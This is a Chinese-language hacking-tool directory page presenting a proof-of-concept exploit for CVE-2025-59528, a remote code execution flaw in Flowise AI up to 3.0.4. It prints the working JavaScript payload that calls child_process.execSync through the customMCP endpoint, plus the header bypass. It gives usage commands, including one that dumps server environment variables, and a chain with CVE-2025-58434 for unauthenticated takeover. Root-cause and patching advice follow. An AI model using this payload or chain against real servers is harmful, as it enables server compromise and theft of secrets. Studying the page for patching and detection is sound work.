Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Flowise-RCE-CVE-2025-59528 — Flowise AI 版本 ≤ 3.0.4 的认证远程代码执行 (RCE) 漏洞利用。利用 /api/v1/node-load-method/customMCP 端点中的漏洞,通过 Node.js child_process.execSync() 执行任意系统命令。包含完整的 PoC 脚本和修复步骤。 | Kitploit
工具/GitHubGitHub/r3nsi15/flowise-rce-cve-2025-59528
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试论文与研究学习与教育Payload 开发
GitHubr3nsi15/flowise-rce-cve-2025-59528

Flowise-RCE-CVE-2025-59528

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

Flowise AI 版本 ≤ 3.0.4 的认证远程代码执行 (RCE) 漏洞利用。利用 /api/v1/node-load-method/customMCP 端点中的漏洞,通过 Node.js child_process.execSync() 执行任意系统命令。包含完整的 PoC 脚本和修复步骤。

查看仓库
114个月前尚未审核
分享

CVE-2025-59528 — Flowise AI 认证远程代码执行 (RCE)

概述

CVE ID: CVE-2025-59528
受影响软件: Flowise AI
受影响版本: <= 3.0.4
已修复版本: 3.0.5 及更高版本
严重程度: 严重
作者: r3nsi15
日期: 2025

描述

Flowise AI 版本 3.0.4 及更早版本允许经过身份验证的用户通过向 /api/v1/node-load-method/customMCP 端点发送精心构造的 JavaScript 载荷,在主机服务器上实现远程代码执行 (RCE)。

customMCP 节点的 load 方法接受用户可控的输入,该输入会在服务端作为 JavaScript 执行,且没有充分的清理或沙箱机制。通过注入利用 Node.js 的 child_process.execSync 的载荷,攻击者可以以 Flowise 服务器进程的权限运行任意操作系统命令。

该端点还要求请求中存在 x-request-from: internal 标头。

受影响的端点

端点方法需要认证用途
/api/v1/auth/loginPOST否认证并获取会话
/api/v1/node-load-method/customMCPPOST是(会话 Cookie)存在漏洞的节点加载方法端点

概念验证

文件: CVE-2025-59528_POC.py

要求

  • Python 3.x
  • requests 库
  • 目标 Flowise 实例上任意用户账户的有效凭据
root@kitploit:~
pip install requests

使用方法

root@kitploit:~
python3 CVE-2025-59528_POC.py -e <邮箱> -i <目标URL> -p <密码> -c <命令>

参数

标志长格式必需描述
-e--email是认证用户的邮箱地址
-i--url是Flowise 实例的基础 URL
-p--password是认证用户的密码
-c--cmd是要在服务器上执行的操作系统命令

示例

验证代码执行:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

检索服务器环境变量:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

预期输出

root@kitploit:~
[+] 已登录
[+] 漏洞利用已发送
[+] 状态码: 200

载荷详解

该漏洞利用将以下 JavaScript 表达式注入到 mcpServerConfig 字段中:

root@kitploit:~
({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<命令>');
    return 1;
})()})
  • process.mainModule.require('child_process') — 加载 Node.js 内置的进程执行模块。
  • execSync('<命令>') — 同步运行攻击者提供的操作系统命令。
  • 整个表达式被包装在一个对象字面量中,以确保它在服务器的 JavaScript 上下文中能够干净地求值。

同时,请求中还附加了 x-request-from: internal 标头,以绕过内部来源检查,否则该端点会阻止调用。

根本原因

customMCP 端点将用户提供的输入直接传递到服务器上的 JavaScript 求值上下文中,而没有任何清理或沙箱机制。结合通过 process.mainModule.require 对 Node.js 核心模块(尤其是 child_process)的无限制访问,形成了一个极易利用的 RCE 向量。x-request-from 标头检查并未提供有意义的安全边界,因为它没有针对任何可信来源进行验证。

与 CVE-2025-58434 的链式利用

这两个漏洞可以链式利用,对运行版本 <= 3.0.4 的 Flowise 实例实现无需认证的 RCE 攻击路径:

  1. 使用 CVE-2025-58434 重置任意已知账户的密码(无需事先认证)。
  2. 使用新设置的凭据登录。
  3. 使用 CVE-2025-59528 在服务器上执行任意操作系统命令。

修复建议

  • 升级到 Flowise AI 3.0.5 或更高版本,该版本已移除或正确沙箱化了存在漏洞的求值路径。
  • 绝不在服务端上下文将用户控制的字符串作为代码求值。
  • 通过适当的沙箱(例如 vm2、隔离上下文或移除 process.mainModule 访问权限)限制对危险 Node.js 模块(child_process、fs 等)的访问。
  • 通过服务端机制(而非简单的字符串检查)来验证和认证 x-request-from 标头。
  • 对 Flowise 服务器进程应用最小权限原则。

免责声明

此概念验证仅用于教育和授权安全研究目的。在未获得明确书面许可的情况下,使用此脚本针对系统是非法且不道德的。作者和贡献者不对任何滥用行为承担责任。

下载工具